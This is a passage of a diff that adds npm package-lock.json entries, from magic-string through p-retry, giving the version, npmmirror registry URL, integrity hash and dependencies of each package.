"^3.0.2" + } + }, + "node_modules/magic-string": { + "version": "0.30.12", + "resolved": "https://registry.npmmirror.com/magic-string/-/magic-string-0.30.12.tgz", + "integrity": "sha512-Ea8I3sQMVXr8JhN4z+H/d8zwo+tYDgHE9+5G4Wnrwhs0gaK9fXTKx0Tw5Xwsd/bCPTTZNRAdpyzvoeORe9LYpw==", + "dependencies": { + "@jridgewell/sourcemap-codec": "^1.5.0" + } + }, + "node_modules/make-dir": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/make-dir/-/make-dir-3.1.0.tgz", + "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, + "dependencies": { + "semver": "^6.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/marked": { + "version": "4.0.12", + "resolved": "https://registry.npmmirror.com/marked/-/marked-4.0.12.tgz", + "integrity": "sha512-hgibXWrEDNBWgGiK18j/4lkS6ihTe9sxtV4Q1OQppb/0zzyPSzoFANBa5MfsG/zgsWklmNnhm0XACZOH/0HBiQ==", + "bin": { + "marked": "bin/marked.js" + }, + "engines": { + "node": ">= 12" + } + }, + "node_modules/mdn-data": { + "version": "2.0.14", + "resolved": "https://registry.npmmirror.com/mdn-data/-/mdn-data-2.0.14.tgz", + "integrity": "sha512-dn6wd0uw5GsdswPFfsgMp5NSB0/aDe6fK94YJV/AJDYXL6HVLWBsxeq7js7Ad+mU2K9LAlwpk6kN2D5mwCPVow==", + "dev": true + }, + "node_modules/media-typer": { + "version": "0.3.0", + "resolved": "https://registry.npmmirror.com/media-typer/-/media-typer-0.3.0.tgz", + "integrity": "sha512-dq+qelQ9akHpcOl/gUVRTxVIOkAJ1wR3QAvb4RsVjS8oVoFjDGTc679wJYmUmknUF5HwMLOgb5O+a3KxfWapPQ==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/memfs": { + "version": "3.5.3", + "resolved": "https://registry.npmmirror.com/memfs/-/memfs-3.5.3.tgz", + "integrity": "sha512-UERzLsxzllchadvbPs5aolHh65ISpKpM+ccLbOJ8/vvpBKmAWf+la7dXFy7Mr0ySHbdHrFv5kGFCUHHe6GFEmw==", + "dev": true, + "dependencies": { + "fs-monkey": "^1.0.4" + }, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/memoize-one": { + "version": "6.0.0", + "resolved": "https://registry.npmmirror.com/memoize-one/-/memoize-one-6.0.0.tgz", + "integrity": "sha512-rkpe71W0N0c0Xz6QD0eJETuWAJGnJ9afsl1srmwPrI+yBCkge5EycXXbYRyvL29zZVUWQCY7InPRCv3GDXuZNw==" + }, + "node_modules/merge-descriptors": { + "version": "1.0.3", + "resolved": "https://registry.npmmirror.com/merge-descriptors/-/merge-descriptors-1.0.3.tgz", + "integrity": "sha512-gaNvAS7TZ897/rVaZ0nMtAyxNyi/pdbjbAwUpFQpN70GqnVfOiXpeUUMKRBmzXaSQ8DdTX4/0ms62r2K+hE6mQ==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/merge-source-map": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/merge-source-map/-/merge-source-map-1.1.0.tgz", + "integrity": "sha512-Qkcp7P2ygktpMPh2mCQZaf3jhN6D3Z/qVZHSdWvQ+2Ef5HgRAPBO57A77+ENm0CPx2+1Ce/MYKi3ymqdfuqibw==", + "dev": true, + "dependencies": { + "source-map": "^0.6.1" + } + }, + "node_modules/merge-stream": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/merge-stream/-/merge-stream-2.0.0.tgz", + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", + "dev": true + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmmirror.com/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/methods": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/methods/-/methods-1.1.2.tgz", + "integrity": "sha512-iclAHeNqNm68zFtnZ0e+1L2yUIdvzNoauKU4WBA3VvH/vPFieF7qfRlwUZU+DA9P9bPXIS90ulxoUoCH23sV2w==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmmirror.com/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "dev": true, + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmmirror.com/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "dev": true, + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmmirror.com/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-fn": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/mimic-fn/-/mimic-fn-2.1.0.tgz", + "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/mini-css-extract-plugin": { + "version": "2.9.1", + "resolved": "https://registry.npmmirror.com/mini-css-extract-plugin/-/mini-css-extract-plugin-2.9.1.tgz", + "integrity": "sha512-+Vyi+GCCOHnrJ2VPS+6aPoXN2k2jgUzDRhTFLjjTBn23qyXJXkjUWQgTL+mXpF5/A8ixLdCc6kWsoeOjKGejKQ==", + "dev": true, + "dependencies": { + "schema-utils": "^4.0.0", + "tapable": "^2.2.1" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^5.0.0" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv": { + "version": "8.17.1", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-8.17.1.tgz", + "integrity": "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmmirror.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/mini-css-extract-plugin/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true + }, + "node_modules/mini-css-extract-plugin/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmmirror.com/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dev": true, + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/minimalistic-assert": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz", + "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==", + "dev": true + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmmirror.com/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "dev": true, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmmirror.com/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass/node_modules/yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, + "node_modules/mitt": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/mitt/-/mitt-3.0.1.tgz", + "integrity": "sha512-vKivATfr97l2/QBCYAkXYDbrIWPM2IIKEl7YPhjCvKlG3kE2gm+uBo6nEXK3M5/Ffh/FLpKExzOQ3JJoJGFKBw==" + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmmirror.com/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "dev": true, + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/mlly": { + "version": "1.7.2", + "resolved": "https://registry.npmmirror.com/mlly/-/mlly-1.7.2.tgz", + "integrity": "sha512-tN3dvVHYVz4DhSXinXIk7u9syPYaJvio118uomkovAtWBT+RdbP6Lfh/5Lvo519YMmwBafwlh20IPTXIStscpA==", + "dev": true, + "dependencies": { + "acorn": "^8.12.1", + "pathe": "^1.1.2", + "pkg-types": "^1.2.0", + "ufo": "^1.5.4" + } + }, + "node_modules/module-alias": { + "version": "2.2.3", + "resolved": "https://registry.npmmirror.com/module-alias/-/module-alias-2.2.3.tgz", + "integrity": "sha512-23g5BFj4zdQL/b6tor7Ji+QY4pEfNH784BMslY9Qb0UnJWRAt+lQGLYmRaM0KDBwIG23ffEBELhZDP2rhi9f/Q==", + "dev": true + }, + "node_modules/mrmime": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/mrmime/-/mrmime-2.0.0.tgz", + "integrity": "sha512-eu38+hdgojoyq63s+yTpN4XMBdt5l8HhMhc4VKLO9KM5caLIBvUm4thi7fFaxyTmCKeNnXZ5pAlBwCUnhA09uw==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmmirror.com/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true + }, + "node_modules/multicast-dns": { + "version": "7.2.5", + "resolved": "https://registry.npmmirror.com/multicast-dns/-/multicast-dns-7.2.5.tgz", + "integrity": "sha512-2eznPJP8z2BFLX50tf0LuODrpINqP1RVIm/CObbTcBRITQgmC/TjcREF1NeTBzIcR5XO/ukWo+YHOjBbFwIupg==", + "dev": true, + "dependencies": { + "dns-packet": "^5.2.2", + "thunky": "^1.0.2" + }, + "bin": { + "multicast-dns": "cli.js" + } + }, + "node_modules/mz": { + "version": "2.7.0", + "resolved": "https://registry.npmmirror.com/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "node_modules/nanoid": { + "version": "3.3.7", + "resolved": "https://registry.npmmirror.com/nanoid/-/nanoid-3.3.7.tgz", + "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "bin": { + "nanoid": "bin/nanoid.cjs" + }, + "engines": { + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha512-OWND8ei3VtNC9h7V60qff3SVobHr996CTwgxubgyQYEpg290h9J0buyECNNJexkFm5sOajh5G116RYA1c8ZMSw==", + "dev": true + }, + "node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmmirror.com/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmmirror.com/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true + }, + "node_modules/nice-try": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/nice-try/-/nice-try-1.0.5.tgz", + "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==", + "dev": true + }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmmirror.com/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/node-fetch": { + "version": "2.7.0", + "resolved": "https://registry.npmmirror.com/node-fetch/-/node-fetch-2.7.0.tgz", + "integrity": "sha512-c4FRfUm/dbcWZ7U+1Wq0AwCyFL+3nt2bEw05wfxSz+DWpWsitgmSgYmy2dQdWyKC1694ELPqMs/YzUSNozLt8A==", + "dev": true, + "dependencies": { + "whatwg-url": "^5.0.0" + }, + "engines": { + "node": "4.x || >=6.0.0" + }, + "peerDependencies": { + "encoding": "^0.1.0" + }, + "peerDependenciesMeta": { + "encoding": { + "optional": true + } + } + }, + "node_modules/node-forge": { + "version": "1.3.1", + "resolved": "https://registry.npmmirror.com/node-forge/-/node-forge-1.3.1.tgz", + "integrity": "sha512-dPEtOeMvF9VMcYV/1Wb8CPoVAXtp6MKMlcbAt4ddqmGqUJ6fQZFXkNZNkNlfevtNkGtaSoXf/vNNNSvgrdXwtA==", + "dev": true, + "engines": { + "node": ">= 6.13.0" + } + }, + "node_modules/node-releases": { + "version": "2.0.18", + "resolved": "https://registry.npmmirror.com/node-releases/-/node-releases-2.0.18.tgz", + "integrity": "sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==", + "dev": true + }, + "node_modules/normalize-package-data": { + "version": "2.5.0", + "resolved": "https://registry.npmmirror.com/normalize-package-data/-/normalize-package-data-2.5.0.tgz", + "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==", + "dev": true, + "dependencies": { + "hosted-git-info": "^2.1.4", + "resolve": "^1.10.0", + "semver": "2 || 3 || 4 || 5", + "validate-npm-package-license": "^3.0.1" + } + }, + "node_modules/normalize-package-data/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmmirror.com/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "dev": true, + "bin": { + "semver": "bin/semver" + } + }, + "node_modules/normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-range": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/normalize-range/-/normalize-range-0.1.2.tgz", + "integrity": "sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/normalize-url": { + "version": "6.1.0", + "resolved": "https://registry.npmmirror.com/normalize-url/-/normalize-url-6.1.0.tgz", + "integrity": "sha512-DlL+XwOy3NxAQ8xuC0okPgK46iuVNAK01YN7RueYBqqFeGsBjV9XmCAzAdgt+667bCl5kPh9EqKKDwnaPG1I7A==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/normalize-wheel-es": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/normalize-wheel-es/-/normalize-wheel-es-1.2.0.tgz", + "integrity": "sha512-Wj7+EJQ8mSuXr2iWfnujrimU35R2W4FAErEyTmJoJ7ucwTn2hOUSsRehMb5RSYkxXGTM7Y9QpvPmp++w5ftoJw==" + }, + "node_modules/npm-run-path": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/npm-run-path/-/npm-run-path-2.0.2.tgz", + "integrity": "sha512-lJxZYlT4DW/bRUtFh1MQIWqmLwQfAxnqWG4HhEdjMlkrJYnJn0Jrr2u3mgxqaWsdiBc76TYkTG/mhrnYTuzfHw==", + "dev": true, + "dependencies": { + "path-key": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/nth-check": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/nth-check/-/nth-check-2.1.1.tgz", + "integrity": "sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==", + "dev": true, + "dependencies": { + "boolbase": "^1.0.0" + }, + "funding": { + "url": "https://github.com/fb55/nth-check?sponsor=1" + } + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/object-inspect": { + "version": "1.13.2", + "resolved": "https://registry.npmmirror.com/object-inspect/-/object-inspect-1.13.2.tgz", + "integrity": "sha512-IRZSRuzJiynemAXPYtPe5BoI/RESNYR7TYm50MC5Mqbd3Jmw5y790sErYw3V6SryFJD64b74qQQs9wn5Bg/k3g==", + "dev": true, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/object-keys": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/object-keys/-/object-keys-1.1.1.tgz", + "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/object.assign": { + "version": "4.1.5", + "resolved": "https://registry.npmmirror.com/object.assign/-/object.assign-4.1.5.tgz", + "integrity": "sha512-byy+U7gp+FVwmyzKPYhW2h5l3crpmGsxl7X2s8y43IgxvG4g3QZ6CffDtsNQy1WsmZpQbO+ybo0AlW7TY6DcBQ==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.5", + "define-properties": "^1.2.1", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/obuf": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/obuf/-/obuf-1.1.2.tgz", + "integrity": "sha512-PX1wu0AmAdPqOL1mWhqmlOd8kOIZQwGZw6rh7uby9fTc5lhaOWFLX3I6R1hrF9k3zUY40e6igsLGkDXK92LJNg==", + "dev": true + }, + "node_modules/on-finished": { + "version": "2.4.1", + "resolved": "https://registry.npmmirror.com/on-finished/-/on-finished-2.4.1.tgz", + "integrity": "sha512-oVlzkg3ENAhCk2zdv7IJwd/QUD4z2RxRwpkcGY8psCVcCYZNq4wYnVWALHM+brtuJjePWiYF/ClmuDr8Ch5+kg==", + "dev": true, + "dependencies": { + "ee-first": "1.1.1" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/on-headers": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/on-headers/-/on-headers-1.0.2.tgz", + "integrity": "sha512-pZAE+FJLoyITytdqK0U5s+FIpjN0JP3OzFi/u8Rx+EV5/W+JTWGXG8xFzevE7AjBfDqHv/8vL8qQsIhHnqRkrA==", + "dev": true, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/once": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "dependencies": { + "wrappy": "1" + } + }, + "node_modules/onetime": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/onetime/-/onetime-5.1.2.tgz", + "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", + "dev": true, + "dependencies": { + "mimic-fn": "^2.1.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/open": { + "version": "8.4.2", + "resolved": "https://registry.npmmirror.com/open/-/open-8.4.2.tgz", + "integrity": "sha512-7x81NCL719oNbsq/3mh+hVrAWmFuEYUqrq/Iw3kUzH8ReypT9QQ0BLoJS7/G9k6N81XjW4qHWtjWwe/9eLy1EQ==", + "dev": true, + "dependencies": { + "define-lazy-prop": "^2.0.0", + "is-docker": "^2.1.1", + "is-wsl": "^2.2.0" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/opener": { + "version": "1.5.2", + "resolved": "https://registry.npmmirror.com/opener/-/opener-1.5.2.tgz", + "integrity": "sha512-ur5UIdyw5Y7yEj9wLzhqXiy6GZ3Mwx0yGI+5sMn2r0N0v3cKJvUmFH5yPP+WXh9e0xfyzyJX95D8l088DNFj7A==", + "dev": true, + "bin": { + "opener": "bin/opener-bin.js" + } + }, + "node_modules/optionator": { + "version": "0.9.4", + "resolved": "https://registry.npmmirror.com/optionator/-/optionator-0.9.4.tgz", + "integrity": "sha512-6IpQ7mKUxRcZNLIObR0hz7lxsapSSIYNZJwXPGeF0mTVqGKFIXj1DQcMoT22S3ROcLyY/rz0PWaWZ9ayWmad9g==", + "dev": true, + "dependencies": { + "deep-is": "^0.1.3", + "fast-levenshtein": "^2.0.6", + "levn": "^0.4.1", + "prelude-ls": "^1.2.1", + "type-check": "^0.4.0", + "word-wrap": "^1.2.5" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/ora": { + "version": "5.4.1", + "resolved": "https://registry.npmmirror.com/ora/-/ora-5.4.1.tgz", + "integrity": "sha512-5b6Y85tPxZZ7QytO+BQzysW31HJku27cRIlkbAXaNx+BdcVi+LlRFmVXzeF6a7JCwJpyw5c4b+YSVImQIrBpuQ==", + "dev": true, + "dependencies": { + "bl": "^4.1.0", + "chalk": "^4.1.0", + "cli-cursor": "^3.1.0", + "cli-spinners": "^2.5.0", + "is-interactive": "^1.0.0", + "is-unicode-supported": "^0.1.0", + "log-symbols": "^4.1.0", + "strip-ansi": "^6.0.0", + "wcwidth": "^1.0.1" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ora/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmmirror.com/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/p-finally": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/p-finally/-/p-finally-1.0.0.tgz", + "integrity": "sha512-LICb2p9CB7FS+0eR1oqWnHhp0FljGLZCWBE9aix0Uye9W8LTQPwMTYVGWQWIw9RdQiDg4+epXQODwIYJtSJaow==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmmirror.com/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/p-retry": { + "version": "4.6.2", + "resolved": "https://registry.npmmirror.com/p-retry/-/p-retry-4.6.2.tgz", + "integrity": 